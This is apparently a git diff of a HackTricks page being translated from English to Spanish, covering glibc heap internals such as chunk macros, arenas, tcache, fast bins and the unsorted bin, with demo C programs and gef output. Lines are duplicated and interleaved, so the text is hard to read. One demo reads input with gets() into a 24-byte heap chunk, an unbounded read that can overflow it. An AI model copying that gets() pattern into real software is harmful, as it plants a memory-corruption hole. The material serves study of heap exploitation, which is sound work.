#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s))) #define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
``` ```
- Insue bit - Insue bit
```c ```c
/* extract p's inuse bit */ /* extract p's inuse bit */
#define inuse(p) \ #define inuse(p) \
((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE) ((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE)
/* set/clear chunk as being inuse without otherwise disturbing */ /* set/clear chunk as being inuse without otherwise disturbing */
#define set_inuse(p) \ #define set_inuse(p) \
((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size |= PREV_INUSE ((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size |= PREV_INUSE
#define clear_inuse(p) \ #define clear_inuse(p) \
((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size &= ~(PREV_INUSE) ((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size &= ~(PREV_INUSE)
/* check/set/clear inuse bits in known places */ /* check/set/clear inuse bits in known places */
#define inuse_bit_at_offset(p, s) \ #define inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE) (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE)
#define set_inuse_bit_at_offset(p, s) \ #define set_inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE) (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE)
#define clear_inuse_bit_at_offset(p, s) \ #define clear_inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE)) (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
``` ```
- Establecer encabezado y pie de página (cuando se utilizan números de fragmento)
- Set head and footer (when chunk nos in use
```c ```c
/* Set size at head, without disturbing its use bit */ /* Set size at head, without disturbing its use bit */
#define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s))) #define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
@ -380,44 +363,40 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
/* Set size at footer (only when chunk is not in use) */ /* Set size at footer (only when chunk is not in use) */
#define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s)) #define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s))
``` ```
- Obtén el tamaño de los datos utilizables reales dentro del chunk
- Get the size of the real usable data inside the chunk
```c ```c
#pragma GCC poison mchunk_size #pragma GCC poison mchunk_size
#pragma GCC poison mchunk_prev_size #pragma GCC poison mchunk_prev_size
/* This is the size of the real usable data in the chunk. Not valid for /* This is the size of the real usable data in the chunk. Not valid for
dumped heap chunks. */ dumped heap chunks. */
#define memsize(p) \ #define memsize(p) \
(__MTAG_GRANULE_SIZE > SIZE_SZ && __glibc_unlikely (mtag_enabled) ? \ (__MTAG_GRANULE_SIZE > SIZE_SZ && __glibc_unlikely (mtag_enabled) ? \
chunksize (p) - CHUNK_HDR_SZ : \ chunksize (p) - CHUNK_HDR_SZ : \
chunksize (p) - CHUNK_HDR_SZ + (chunk_is_mmapped (p) ? 0 : SIZE_SZ)) chunksize (p) - CHUNK_HDR_SZ + (chunk_is_mmapped (p) ? 0 : SIZE_SZ))
/* If memory tagging is enabled the layout changes to accommodate the granule /* If memory tagging is enabled the layout changes to accommodate the granule
size, this is wasteful for small allocations so not done by default. size, this is wasteful for small allocations so not done by default.
Both the chunk header and user data has to be granule aligned. */ Both the chunk header and user data has to be granule aligned. */
_Static_assert (__MTAG_GRANULE_SIZE <= CHUNK_HDR_SZ, _Static_assert (__MTAG_GRANULE_SIZE <= CHUNK_HDR_SZ,
"memory tagging is not supported with large granule."); "memory tagging is not supported with large granule.");
static __always_inline void * static __always_inline void *
tag_new_usable (void *ptr) tag_new_usable (void *ptr)
{ {
if (__glibc_unlikely (mtag_enabled) && ptr) if (__glibc_unlikely (mtag_enabled) && ptr)
{ {
mchunkptr cp = mem2chunk(ptr); mchunkptr cp = mem2chunk(ptr);
ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp)); ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp));
} }
return ptr; return ptr;
} }
``` ```
## Ejemplos
## Examples ### Ejemplo Rápido de Heap
### Quick Heap Example
Quick heap example from [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) but in arm64:
Ejemplo rápido de heap de [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) pero en arm64:
```c ```c
#include <stdio.h> #include <stdio.h>
#include <stdlib.h> #include <stdlib.h>
@ -425,32 +404,28 @@ Quick heap example from [https://guyinatuxedo.github.io/25-heap/index.html](http
void main(void) void main(void)
{ {
char *ptr; char *ptr;
ptr = malloc(0x10); ptr = malloc(0x10);
strcpy(ptr, "panda"); strcpy(ptr, "panda");
} }
``` ```
Establezca un punto de interrupción al final de la función principal y descubramos dónde se almacenó la información:
Set a breakpoint at the end of the main function and lets find out where the information was stored:
<figure><img src="../../images/image (1239).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../images/image (1239).png" alt=""><figcaption></figcaption></figure>
It's possible to see that the string panda was stored at `0xaaaaaaac12a0` (which was the address given as response by malloc inside `x0`). Checking 0x10 bytes before it's possible to see that the `0x0` represents that the **previous chunk is not used** (length 0) and that the length of this chunk is `0x21`. Es posible ver que la cadena panda se almacenó en `0xaaaaaaac12a0` (que fue la dirección dada como respuesta por malloc dentro de `x0`). Al verificar 0x10 bytes antes, es posible ver que el `0x0` representa que el **chunk anterior no está utilizado** (longitud 0) y que la longitud de este chunk es `0x21`.
The extra spaces reserved (0x21-0x10=0x11) comes from the **added headers** (0x10) and 0x1 doesn't mean that it was reserved 0x21B but the last 3 bits of the length of the current headed have the some special meanings. As the length is always 16-byte aligned (in 64bits machines), these bits are actually never going to be used by the length number.
Los espacios adicionales reservados (0x21-0x10=0x11) provienen de los **encabezados añadidos** (0x10) y 0x1 no significa que se reservó 0x21B, sino que los últimos 3 bits de la longitud del encabezado actual tienen algunos significados especiales. Dado que la longitud siempre está alineada a 16 bytes (en máquinas de 64 bits), estos bits en realidad nunca se utilizarán por el número de longitud.
``` ```
0x1: Previous in Use - Specifies that the chunk before it in memory is in use 0x1: Previous in Use - Specifies that the chunk before it in memory is in use
0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap() 0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap()
0x4: Non Main Arena - Specifies that the chunk was obtained from outside of the main arena 0x4: Non Main Arena - Specifies that the chunk was obtained from outside of the main arena
``` ```
### Ejemplo de Multihilo
### Multithreading Example
<details> <details>
<summary>Multithread</summary> <summary>Multihilo</summary>
```c ```c
#include <stdio.h> #include <stdio.h>
#include <stdlib.h> #include <stdlib.h>
@ -460,56 +435,55 @@ The extra spaces reserved (0x21-0x10=0x11) comes from the **added headers** (0x1
void* threadFuncMalloc(void* arg) { void* threadFuncMalloc(void* arg) {
printf("Hello from thread 1\n"); printf("Hello from thread 1\n");
char* addr = (char*) malloc(1000); char* addr = (char*) malloc(1000);
printf("After malloc and before free in thread 1\n"); printf("After malloc and before free in thread 1\n");
free(addr); free(addr);
printf("After free in thread 1\n"); printf("After free in thread 1\n");
} }
void* threadFuncNoMalloc(void* arg) { void* threadFuncNoMalloc(void* arg) {
printf("Hello from thread 2\n"); printf("Hello from thread 2\n");
} }
int main() { int main() {
pthread_t t1; pthread_t t1;
void* s; void* s;
int ret; int ret;
char* addr; char* addr;
printf("Before creating thread 1\n"); printf("Before creating thread 1\n");
getchar(); getchar();
ret = pthread_create(&t1, NULL, threadFuncMalloc, NULL); ret = pthread_create(&t1, NULL, threadFuncMalloc, NULL);
getchar(); getchar();
printf("Before creating thread 2\n"); printf("Before creating thread 2\n");
ret = pthread_create(&t1, NULL, threadFuncNoMalloc, NULL); ret = pthread_create(&t1, NULL, threadFuncNoMalloc, NULL);
printf("Before exit\n"); printf("Before exit\n");
getchar(); getchar();
return 0; return 0;
} }
``` ```
</details> </details>
Debugging the previous example it's possible to see how at the beginning there is only 1 arena: Depurando el ejemplo anterior, es posible ver cómo al principio solo hay 1 arena:
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Then, after calling the first thread, the one that calls malloc, a new arena is created: Luego, después de llamar al primer hilo, el que llama a malloc, se crea una nueva arena:
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
and inside of it some chunks can be found: y dentro de ella se pueden encontrar algunos chunks:
<figure><img src="../../images/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../images/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
## Bins & Memory Allocations/Frees ## Bins & Memory Allocations/Frees
Check what are the bins and how are they organized and how memory is allocated and freed in: Ver cuáles son los bins y cómo están organizados y cómo se asigna y libera memoria en:
{{#ref}} {{#ref}}
bins-and-memory-allocations.md bins-and-memory-allocations.md
@ -517,7 +491,7 @@ bins-and-memory-allocations.md
## Heap Functions Security Checks ## Heap Functions Security Checks
Functions involved in heap will perform certain check before performing its actions to try to make sure the heap wasn't corrupted: Las funciones involucradas en el heap realizarán ciertas verificaciones antes de llevar a cabo sus acciones para intentar asegurarse de que el heap no esté corrupto:
{{#ref}} {{#ref}}
heap-memory-functions/heap-functions-security-checks.md heap-memory-functions/heap-functions-security-checks.md

View File

@ -2,60 +2,55 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Basic Information ## Información Básica
In order to improve the efficiency on how chunks are stored every chunk is not just in one linked list, but there are several types. These are the bins and there are 5 type of bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) small bins, 63 large bins, 1 unsorted bin, 10 fast bins and 64 tcache bins per thread. Para mejorar la eficiencia en cómo se almacenan los chunks, cada chunk no está solo en una lista enlazada, sino que hay varios tipos. Estos son los bins y hay 5 tipos de bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) bins pequeños, 63 bins grandes, 1 bin no ordenado, 10 bins rápidos y 64 bins tcache por hilo.
The initial address to each unsorted, small and large bins is inside the same array. The index 0 is unused, 1 is the unsorted bin, bins 2-64 are small bins and bins 65-127 are large bins. La dirección inicial de cada bin no ordenado, pequeño y grande está dentro del mismo array. El índice 0 no se utiliza, 1 es el bin no ordenado, los bins 2-64 son bins pequeños y los bins 65-127 son bins grandes.
### Tcache (Per-Thread Cache) Bins ### Bins Tcache (Cache por Hilo)
Even though threads try to have their own heap (see [Arenas](bins-and-memory-allocations.md#arenas) and [Subheaps](bins-and-memory-allocations.md#subheaps)), there is the possibility that a process with a lot of threads (like a web server) **will end sharing the heap with another threads**. In this case, the main solution is the use of **lockers**, which might **slow down significantly the threads**. A pesar de que los hilos intentan tener su propio heap (ver [Arenas](bins-and-memory-allocations.md#arenas) y [Subheaps](bins-and-memory-allocations.md#subheaps)), existe la posibilidad de que un proceso con muchos hilos (como un servidor web) **termine compartiendo el heap con otros hilos**. En este caso, la solución principal es el uso de **lockers**, que pueden **retrasar significativamente los hilos**.
Therefore, a tcache is similar to a fast bin per thread in the way that it's a **single linked list** that doesn't merge chunks. Each thread has **64 singly-linked tcache bins**. Each bin can have a maximum of [7 same-size chunks](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) ranging from [24 to 1032B on 64-bit systems and 12 to 516B on 32-bit systems](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315). Por lo tanto, un tcache es similar a un bin rápido por hilo en el sentido de que es una **lista enlazada simple** que no fusiona chunks. Cada hilo tiene **64 bins tcache enlazados de forma simple**. Cada bin puede tener un máximo de [7 chunks del mismo tamaño](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) que van desde [24 a 1032B en sistemas de 64 bits y 12 a 516B en sistemas de 32 bits](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315).
**When a thread frees** a chunk, **if it isn't too big** to be allocated in the tcache and the respective tcache bin **isn't full** (already 7 chunks), **it'll be allocated in there**. If it cannot go to the tcache, it'll need to wait for the heap lock to be able to perform the free operation globally. **Cuando un hilo libera** un chunk, **si no es demasiado grande** para ser asignado en el tcache y el bin tcache respectivo **no está lleno** (ya tiene 7 chunks), **se asignará allí**. Si no puede ir al tcache, tendrá que esperar a que se desbloquee el heap para poder realizar la operación de liberación globalmente.
When a **chunk is allocated**, if there is a free chunk of the needed size in the **Tcache it'll use it**, if not, it'll need to wait for the heap lock to be able to find one in the global bins or create a new one.\ Cuando un **chunk es asignado**, si hay un chunk libre del tamaño necesario en el **Tcache, lo usará**, si no, tendrá que esperar a que se desbloquee el heap para poder encontrar uno en los bins globales o crear uno nuevo.\
There's also an optimization, in this case, while having the heap lock, the thread **will fill his Tcache with heap chunks (7) of the requested size**, so in case it needs more, it'll find them in Tcache. También hay una optimización, en este caso, mientras tiene el lock del heap, el hilo **llenará su Tcache con chunks del heap (7) del tamaño solicitado**, así que en caso de que necesite más, los encontrará en Tcache.
<details> <details>
<summary>Add a tcache chunk example</summary> <summary>Agregar un ejemplo de chunk tcache</summary>
```c ```c
#include <stdlib.h> #include <stdlib.h>
#include <stdio.h> #include <stdio.h>
int main(void) int main(void)
{ {
char *chunk; char *chunk;
chunk = malloc(24); chunk = malloc(24);
printf("Address of the chunk: %p\n", (void *)chunk); printf("Address of the chunk: %p\n", (void *)chunk);
gets(chunk); gets(chunk);
free(chunk); free(chunk);
return 0; return 0;
} }
``` ```
Compílalo y depúralo con un punto de interrupción en el opcode ret de la función main. Luego, con gef, puedes ver el tcache bin en uso:
Compile it and debug it with a breakpoint in the ret opcode from main function. then with gef you can see the tcache bin in use:
```bash ```bash
gef➤ heap bins gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
Tcachebins[idx=0, size=0x20, count=1] ← Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) Tcachebins[idx=0, size=0x20, count=1] ← Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
``` ```
</details> </details>
#### Tcache Structs & Functions #### Estructuras y Funciones de Tcache
In the following code it's possible to see the **max bins** and **chunks per index**, the **`tcache_entry`** struct created to avoid double frees and **`tcache_perthread_struct`**, a struct that each thread uses to store the addresses to each index of the bin. En el siguiente código es posible ver los **max bins** y **chunks por índice**, la estructura **`tcache_entry`** creada para evitar dobles liberaciones y **`tcache_perthread_struct`**, una estructura que cada hilo utiliza para almacenar las direcciones de cada índice del bin.
<details> <details>
<summary><code>tcache_entry</code> and <code>tcache_perthread_struct</code></summary> <summary><code>tcache_entry</code> y <code>tcache_perthread_struct</code></summary>
```c ```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c
@ -72,135 +67,131 @@ In the following code it's possible to see the **max bins** and **chunks per ind
# define usize2tidx(x) csize2tidx (request2size (x)) # define usize2tidx(x) csize2tidx (request2size (x))
/* With rounding and alignment, the bins are... /* With rounding and alignment, the bins are...
idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit) idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit)
idx 1 bytes 25..40 or 13..20 idx 1 bytes 25..40 or 13..20
idx 2 bytes 41..56 or 21..28 idx 2 bytes 41..56 or 21..28
etc. */ etc. */
/* This is another arbitrary limit, which tunables can change. Each /* This is another arbitrary limit, which tunables can change. Each
tcache bin will hold at most this number of chunks. */ tcache bin will hold at most this number of chunks. */
# define TCACHE_FILL_COUNT 7 # define TCACHE_FILL_COUNT 7
/* Maximum chunks in tcache bins for tunables. This value must fit the range /* Maximum chunks in tcache bins for tunables. This value must fit the range
of tcache->counts[] entries, else they may overflow. */ of tcache->counts[] entries, else they may overflow. */
# define MAX_TCACHE_COUNT UINT16_MAX # define MAX_TCACHE_COUNT UINT16_MAX
[...] [...]
typedef struct tcache_entry typedef struct tcache_entry
{ {
struct tcache_entry *next; struct tcache_entry *next;
/* This field exists to detect double frees. */ /* This field exists to detect double frees. */
uintptr_t key; uintptr_t key;
} tcache_entry; } tcache_entry;
/* There is one of these for each thread, which contains the /* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each are redundant (we could have just counted the linked list each
time), this is for performance reasons. */ time), this is for performance reasons. */
typedef struct tcache_perthread_struct typedef struct tcache_perthread_struct
{ {
uint16_t counts[TCACHE_MAX_BINS]; uint16_t counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct; } tcache_perthread_struct;
``` ```
</details> </details>
The function `__tcache_init` is the function that creates and allocates the space for the `tcache_perthread_struct` obj La función `__tcache_init` es la función que crea y asigna el espacio para el objeto `tcache_perthread_struct`.
<details> <details>
<summary>tcache_init code</summary> <summary>código de tcache_init</summary>
```c ```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3241C1-L3274C2 // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3241C1-L3274C2
static void static void
tcache_init(void) tcache_init(void)
{ {
mstate ar_ptr; mstate ar_ptr;
void *victim = 0; void *victim = 0;
const size_t bytes = sizeof (tcache_perthread_struct); const size_t bytes = sizeof (tcache_perthread_struct);
if (tcache_shutting_down) if (tcache_shutting_down)
return; return;
arena_get (ar_ptr, bytes); arena_get (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes); victim = _int_malloc (ar_ptr, bytes);
if (!victim && ar_ptr != NULL) if (!victim && ar_ptr != NULL)
{ {
ar_ptr = arena_get_retry (ar_ptr, bytes); ar_ptr = arena_get_retry (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes); victim = _int_malloc (ar_ptr, bytes);
} }
if (ar_ptr != NULL) if (ar_ptr != NULL)
__libc_lock_unlock (ar_ptr->mutex); __libc_lock_unlock (ar_ptr->mutex);
/* In a low memory situation, we may not be able to allocate memory /* In a low memory situation, we may not be able to allocate memory
- in which case, we just keep trying later. However, we - in which case, we just keep trying later. However, we
typically do this very early, so either there is sufficient typically do this very early, so either there is sufficient
memory, or there isn't enough memory to do non-trivial memory, or there isn't enough memory to do non-trivial
allocations anyway. */ allocations anyway. */
if (victim) if (victim)
{ {
tcache = (tcache_perthread_struct *) victim; tcache = (tcache_perthread_struct *) victim;
memset (tcache, 0, sizeof (tcache_perthread_struct)); memset (tcache, 0, sizeof (tcache_perthread_struct));
} }
} }
``` ```
</details> </details>
#### Tcache Indexes #### Índices de Tcache
The tcache have several bins depending on the size an the initial pointers to the **first chunk of each index and the amount of chunks per index are located inside a chunk**. This means that locating the chunk with this information (usually the first), it's possible to find all the tcache initial points and the amount of Tcache chunks. El tcache tiene varios bins dependiendo del tamaño y los punteros iniciales al **primer chunk de cada índice y la cantidad de chunks por índice se encuentran dentro de un chunk**. Esto significa que al localizar el chunk con esta información (generalmente el primero), es posible encontrar todos los puntos iniciales de tcache y la cantidad de chunks de Tcache.
### Fast bins ### Bins rápidos
Fast bins are designed to **speed up memory allocation for small chunks** by keeping recently freed chunks in a quick-access structure. These bins use a Last-In, First-Out (LIFO) approach, which means that the **most recently freed chunk is the first** to be reused when there's a new allocation request. This behaviour is advantageous for speed, as it's faster to insert and remove from the top of a stack (LIFO) compared to a queue (FIFO). Los bins rápidos están diseñados para **acelerar la asignación de memoria para chunks pequeños** al mantener chunks recientemente liberados en una estructura de acceso rápido. Estos bins utilizan un enfoque de Último en Entrar, Primero en Salir (LIFO), lo que significa que el **chunk liberado más recientemente es el primero** en ser reutilizado cuando hay una nueva solicitud de asignación. Este comportamiento es ventajoso para la velocidad, ya que es más rápido insertar y eliminar desde la parte superior de una pila (LIFO) en comparación con una cola (FIFO).
Additionally, **fast bins use singly linked lists**, not double linked, which further improves speed. Since chunks in fast bins aren't merged with neighbours, there's no need for a complex structure that allows removal from the middle. A singly linked list is simpler and quicker for these operations. Además, **los bins rápidos utilizan listas enlazadas simples**, no dobles, lo que mejora aún más la velocidad. Dado que los chunks en bins rápidos no se fusionan con los vecinos, no hay necesidad de una estructura compleja que permita la eliminación desde el medio. Una lista enlazada simple es más simple y rápida para estas operaciones.
Basically, what happens here is that the header (the pointer to the first chunk to check) is always pointing to the latest freed chunk of that size. So: Básicamente, lo que sucede aquí es que el encabezado (el puntero al primer chunk a verificar) siempre apunta al chunk liberado más reciente de ese tamaño. Así que:
- When a new chunk is allocated of that size, the header is pointing to a free chunk to use. As this free chunk is pointing to the next one to use, this address is stored in the header so the next allocation knows where to get an available chunk - Cuando se asigna un nuevo chunk de ese tamaño, el encabezado apunta a un chunk libre para usar. Como este chunk libre apunta al siguiente para usar, esta dirección se almacena en el encabezado para que la siguiente asignación sepa dónde obtener un chunk disponible.
- When a chunk is freed, the free chunk will save the address to the current available chunk and the address to this newly freed chunk will be put in the header - Cuando se libera un chunk, el chunk libre guardará la dirección del chunk actualmente disponible y la dirección de este chunk recién liberado se pondrá en el encabezado.
The maximum size of a linked list is `0x80` and they are organized so a chunk of size `0x20` will be in index `0`, a chunk of size `0x30` would be in index `1`... El tamaño máximo de una lista enlazada es `0x80` y están organizadas de tal manera que un chunk de tamaño `0x20` estará en el índice `0`, un chunk de tamaño `0x30` estaría en el índice `1`...
> [!CAUTION] > [!CAUTION]
> Chunks in fast bins aren't set as available so they are keep as fast bin chunks for some time instead of being able to merge with other free chunks surrounding them. > Los chunks en bins rápidos no se establecen como disponibles, por lo que se mantienen como chunks de bin rápido durante algún tiempo en lugar de poder fusionarse con otros chunks libres que los rodean.
```c ```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
/* /*
Fastbins Fastbins
An array of lists holding recently freed small chunks. Fastbins An array of lists holding recently freed small chunks. Fastbins
are not doubly linked. It is faster to single-link them, and are not doubly linked. It is faster to single-link them, and
since chunks are never removed from the middles of these lists, since chunks are never removed from the middles of these lists,
double linking is not necessary. Also, unlike regular bins, they double linking is not necessary. Also, unlike regular bins, they
are not even processed in FIFO order (they use faster LIFO) since are not even processed in FIFO order (they use faster LIFO) since
ordering doesn't much matter in the transient contexts in which ordering doesn't much matter in the transient contexts in which
fastbins are normally used. fastbins are normally used.
Chunks in fastbins keep their inuse bit set, so they cannot Chunks in fastbins keep their inuse bit set, so they cannot
be consolidated with other free chunks. malloc_consolidate be consolidated with other free chunks. malloc_consolidate
releases all chunks in fastbins and consolidates them with releases all chunks in fastbins and consolidates them with
other free chunks. other free chunks.
*/ */
typedef struct malloc_chunk *mfastbinptr; typedef struct malloc_chunk *mfastbinptr;
#define fastbin(ar_ptr, idx) ((ar_ptr)->fastbinsY[idx]) #define fastbin(ar_ptr, idx) ((ar_ptr)->fastbinsY[idx])
/* offset 2 to use otherwise unindexable first 2 bins */ /* offset 2 to use otherwise unindexable first 2 bins */
#define fastbin_index(sz) \ #define fastbin_index(sz) \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2) ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
/* The maximum fastbin request size we support */ /* The maximum fastbin request size we support */
@ -208,43 +199,39 @@ typedef struct malloc_chunk *mfastbinptr;
#define NFASTBINS (fastbin_index (request2size (MAX_FAST_SIZE)) + 1) #define NFASTBINS (fastbin_index (request2size (MAX_FAST_SIZE)) + 1)
``` ```
<details> <details>
<summary>Add a fastbin chunk example</summary> <summary>Agregar un ejemplo de chunk fastbin</summary>
```c ```c
#include <stdlib.h> #include <stdlib.h>
#include <stdio.h> #include <stdio.h>
int main(void) int main(void)
{ {
char *chunks[8]; char *chunks[8];
int i; int i;
// Loop to allocate memory 8 times // Loop to allocate memory 8 times
for (i = 0; i < 8; i++) { for (i = 0; i < 8; i++) {
chunks[i] = malloc(24); chunks[i] = malloc(24);
if (chunks[i] == NULL) { // Check if malloc failed if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i); fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1; return 1;
} }
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
} }
// Loop to free the allocated memory // Loop to free the allocated memory
for (i = 0; i < 8; i++) { for (i = 0; i < 8; i++) {
free(chunks[i]); free(chunks[i]);
} }
return 0; return 0;
} }
``` ```
Nota cómo asignamos y liberamos 8 bloques del mismo tamaño para que llenen el tcache y el octavo se almacena en el fast chunk.
Note how we allocate and free 8 chunks of the same size so they fill the tcache and the eight one is stored in the fast chunk. Compílalo y depúralo con un punto de interrupción en el opcode `ret` de la función `main`. Luego, con `gef`, puedes ver que el tcache bin está lleno y un bloque está en el fast bin:
Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the fast bin:
```bash ```bash
gef➤ heap bins gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -253,58 +240,54 @@ Tcachebins[idx=0, size=0x20, count=7] ← Chunk(addr=0xaaaaaaac1770, size=0x20,
Fastbins[idx=0, size=0x20] ← Chunk(addr=0xaaaaaaac1790, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) Fastbins[idx=0, size=0x20] ← Chunk(addr=0xaaaaaaac1790, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Fastbins[idx=1, size=0x30] 0x00 Fastbins[idx=1, size=0x30] 0x00
``` ```
</details> </details>
### Unsorted bin ### Unsorted bin
The unsorted bin is a **cache** used by the heap manager to make memory allocation quicker. Here's how it works: When a program frees a chunk, and if this chunk cannot be allocated in a tcache or fast bin and is not colliding with the top chunk, the heap manager doesn't immediately put it in a specific small or large bin. Instead, it first tries to **merge it with any neighbouring free chunks** to create a larger block of free memory. Then, it places this new chunk in a general bin called the "unsorted bin." El unsorted bin es una **cache** utilizada por el gestor de heap para hacer que la asignación de memoria sea más rápida. Así es como funciona: Cuando un programa libera un chunk, y si este chunk no puede ser asignado en un tcache o fast bin y no está colisionando con el top chunk, el gestor de heap no lo coloca inmediatamente en un bin pequeño o grande específico. En su lugar, primero intenta **fusionarlo con cualquier chunk libre vecino** para crear un bloque más grande de memoria libre. Luego, coloca este nuevo chunk en un bin general llamado "unsorted bin."
When a program **asks for memory**, the heap manager **checks the unsorted bin** to see if there's a chunk of enough size. If it finds one, it uses it right away. If it doesn't find a suitable chunk in the unsorted bin, it moves all the chunks in this list to their corresponding bins, either small or large, based on their size. Cuando un programa **pide memoria**, el gestor de heap **verifica el unsorted bin** para ver si hay un chunk de tamaño suficiente. Si encuentra uno, lo utiliza de inmediato. Si no encuentra un chunk adecuado en el unsorted bin, mueve todos los chunks en esta lista a sus bins correspondientes, ya sea pequeños o grandes, según su tamaño.
Note that if a larger chunk is split in 2 halves and the rest is larger than MINSIZE, it'll be paced back into the unsorted bin. Ten en cuenta que si un chunk más grande se divide en 2 mitades y el resto es mayor que MINSIZE, se volverá a colocar en el unsorted bin.
So, the unsorted bin is a way to speed up memory allocation by quickly reusing recently freed memory and reducing the need for time-consuming searches and merges. Así que, el unsorted bin es una forma de acelerar la asignación de memoria al reutilizar rápidamente la memoria recientemente liberada y reducir la necesidad de búsquedas y fusiones que consumen tiempo.
> [!CAUTION] > [!CAUTION]
